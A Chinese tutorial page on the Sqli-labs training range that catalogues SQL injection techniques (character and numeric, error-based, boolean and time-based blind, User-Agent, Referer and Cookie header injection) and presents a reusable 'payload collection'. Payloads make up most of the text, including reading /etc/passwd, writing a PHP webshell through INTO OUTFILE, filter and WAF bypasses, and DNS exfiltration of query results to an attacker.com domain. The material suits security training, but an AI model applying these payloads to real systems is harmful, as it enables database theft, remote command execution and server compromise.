当前位置: 首页 > news >正文

Sqli-labs靶场通关实战:从字符型注入到HTTP头部注入的完整指南(附Payload大全)

Sqli-labs靶场通关实战:从字符型注入到HTTP头部注入的完整指南(附Payload大全)

在网络安全领域,SQL注入始终是最常见且危害性极大的漏洞之一。Sqli-labs靶场作为专为SQL注入学习设计的实战环境,涵盖了从基础到高级的各种注入场景。本文将系统性地解析字符型、数字型、报错、盲注以及HTTP头部注入五大类技术,并提供可直接复用的Payload模板和调试技巧。

1. 注入类型分类与核心原理

SQL注入的本质是通过构造特殊输入,改变原始SQL查询的逻辑结构。根据应用场景和利用方式的不同,主要分为以下几种类型:

  • 字符型注入:参数被单引号或双引号包裹
  • 数字型注入:参数直接作为数字处理
  • 报错注入:利用数据库错误信息泄露数据
  • 盲注:包括布尔盲注和时间盲注
  • HTTP头部注入:在HTTP头部字段中实施注入

1.1 字符型与数字型注入对比

特征字符型注入数字型注入
参数处理被引号包裹('或")直接作为数字处理
闭合方式需要闭合引号无需闭合引号
典型Payload1' AND 1=1 --1 AND 1=1 --
检测方法观察引号导致的语法错误观察逻辑表达式结果变化

字符型注入的关键在于正确闭合前端的引号,例如:

-- 原始查询 SELECT * FROM users WHERE id='$input' -- 注入Payload 1' UNION SELECT 1,2,database() --

1.2 报错注入函数解析

报错注入利用数据库函数故意触发错误来泄露信息,常用函数包括:

  1. updatexml()

    AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

    注意:updatexml第二个参数必须是合法XPath表达式,否则会报错并显示拼接内容

  2. extractvalue()

    AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))
  3. floor()+rand()

    AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

2. 盲注技术深度解析

当页面没有明显回显时,盲注成为获取数据的唯一手段。盲注分为布尔盲注和时间盲注两种形式。

2.1 布尔盲注实战技巧

布尔盲注通过观察页面返回的真假状态来推断数据,典型流程:

  1. 判断数据库长度:

    AND (SELECT length(database()))=8 --
  2. 逐字符猜解数据库名:

    AND (SELECT ascii(substr(database(),1,1)))=115 --
  3. 使用Burp Suite自动化:

    • 配置Intruder攻击类型为"Cluster bomb"
    • 设置两个Payload:
      • Payload1:字符位置(1-长度)
      • Payload2:ASCII值(32-126)

2.2 时间盲注高效方法

时间盲注通过引入延时判断条件真假,核心函数是if()+sleep()

-- 判断表名第一个字符 AND if(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117, sleep(3), 1) --

优化技巧:

  • 使用二分法缩小猜测范围
  • 结合benchmark()函数替代sleep()绕过过滤
  • 多线程加速猜解过程

3. HTTP头部注入专项突破

HTTP头部注入是SQL注入的高级形式,主要出现在以下场景:

3.1 User-Agent注入(Less-18)

攻击步骤:

  1. 正常登录抓包
  2. 修改User-Agent字段:
    User-Agent: ' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1), '1') --
  3. 从错误信息中提取数据

3.2 Referer注入(Less-19)

与User-Agent注入类似,但注入点在Referer头部:

Referer: ' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --

3.3 Cookie注入(Less-20)

利用Cookie字段实施注入:

  1. 登录后观察Cookie结构
  2. 修改Cookie值:
    Cookie: uname=admin' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --

4. Payload大全与实战模板

4.1 通用探测Payload

-- 判断注入点 ' AND 1=1 -- ' AND 1=2 -- -- 判断列数 ORDER BY 4 -- -- 获取当前数据库 UNION SELECT 1,database(),3,4 -- -- 获取所有数据库 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --

4.2 报错注入Payload集

-- MySQL AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) -- SQL Server AND 1=convert(int,(SELECT table_name FROM information_schema.tables)) -- Oracle AND 1=ctxsys.drithsx.sn(1,(SELECT user FROM dual))

4.3 盲注高效Payload

-- 布尔盲注模板 AND (SELECT ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)))=105 -- -- 时间盲注模板 AND if(ascii(substr((SELECT password FROM users LIMIT 0,1),1,1))>100, sleep(3), 1) --

4.4 文件操作Payload

-- 读取文件 UNION SELECT 1,load_file('/etc/passwd'),3 -- -- 写入Webshell UNION SELECT 1,'<?php system($_GET[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' --

5. 防御绕过与高级技巧

5.1 常见过滤绕过方法

  • 关键字过滤

    SELSELECTECT -- 双写绕过 /*!SELECT*/ -- MySQL注释语法
  • 空格过滤

    /**/AND/**/1=1 -- %09AND%091=1 -- 使用Tab
  • 引号过滤

    AND username=0x61646d696e -- Hex编码

5.2 二次注入利用

当输入被转义但存储后再次使用时可能产生注入:

  1. 注册用户:admin' --
  2. 修改密码时触发:
    UPDATE users SET password='newpass' WHERE username='admin' -- '

5.3 DNS外带技术

当所有回显都被禁用时,利用DNS查询外带数据:

-- MySQL AND (SELECT load_file(concat('\\\\',(SELECT database()),'.attacker.com\\share\\'))) -- SQL Server ; DECLARE @data VARCHAR(1024); SET @data=(SELECT user); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\share"');

在实际渗透测试中,我曾遇到一个案例:目标系统过滤了所有明显的SQL关键字,但通过使用/*!50000SELECT*/这种MySQL版本特异性语法成功绕过防御。另一个有趣的发现是,某些WAF对HTTP头部注入的检测较弱,在User-Agent字段中使用注释符/**/可以轻松绕过检测。

http://www.jsqmd.com/news/530770/

相关文章:

  • 从半加器到BCD码加法器:用Logisim图解计算机运算的基石
  • Video2X视频增强技术全解析:从基础应用到深度优化
  • 导师推荐!断层领先的AI论文工具——千笔写作工具
  • 打个电话,为什么还要“导航”?
  • Fastutil实战:如何用Object2ObjectOpenHashMap替代Java HashMap提升性能(附性能对比测试)
  • 五子棋游戏
  • RK3588 android12修改manifest.xml配置HAL服务
  • Win11Debloat:让Windows系统重获新生的系统优化全攻略
  • ChatGPT电脑版安装包实战指南:从下载到部署的完整解决方案
  • 从HITRAN到HITEMP:用HAPI Python接口处理高温气体光谱的完整实战
  • Parsec VDD虚拟显示技术:重新定义多屏体验的创新方案
  • Android OTA解压终极指南:快速提取payload.bin文件的完整教程
  • Qwen3-ForcedAligner快速入门:3步完成音频与文本精准对齐
  • python校园志愿者服务活动管理系统vue3
  • 造火箭的辞职去放牛,彼得·蒂尔花20亿美元押注一个AI牛项圈
  • Vivado IP核实战:从Accumulator到XADC的10个高频使用技巧
  • 三步精通OpCore-Simplify:零基础搞定黑苹果EFI配置
  • 2026乐山特色餐饮礼盒评测深度解析 - 优质品牌商家
  • 道心网络安全学习笔记系列之好靶场的信息收集
  • Gcode文件处理中的常见错误及解决方案:从缓存不足到刀具补偿配置
  • RWKV7-1.5B-g1a效果展示:三类典型提示词(自我介绍/概念解释/文案压缩)生成质量集锦
  • 保姆级教程:手把手教你用Qwen-Image-Edit实现一句话魔法修图
  • Windows 10下Nacos-Server 2.4.0.1安装配置全攻略(含MySQL数据库连接避坑指南)
  • 如何一键下载番茄小说?终极离线阅读解决方案指南
  • RVC模型开源社区参与:从使用者到贡献者的成长路径
  • 2026中国大模型行业爆发!字节跳动128W年薪抢眼,你的机会来了!
  • 告别复杂配置!Realistic Vision V5.1一键部署,小白也能玩转AI摄影
  • 从内存操作到系统升级:RT-Thread临界区保护的5个典型场景避坑指南
  • AI自养计划_Day5_幻觉复盘
  • ChatGPT Codex 实战指南:从技术原理到高效应用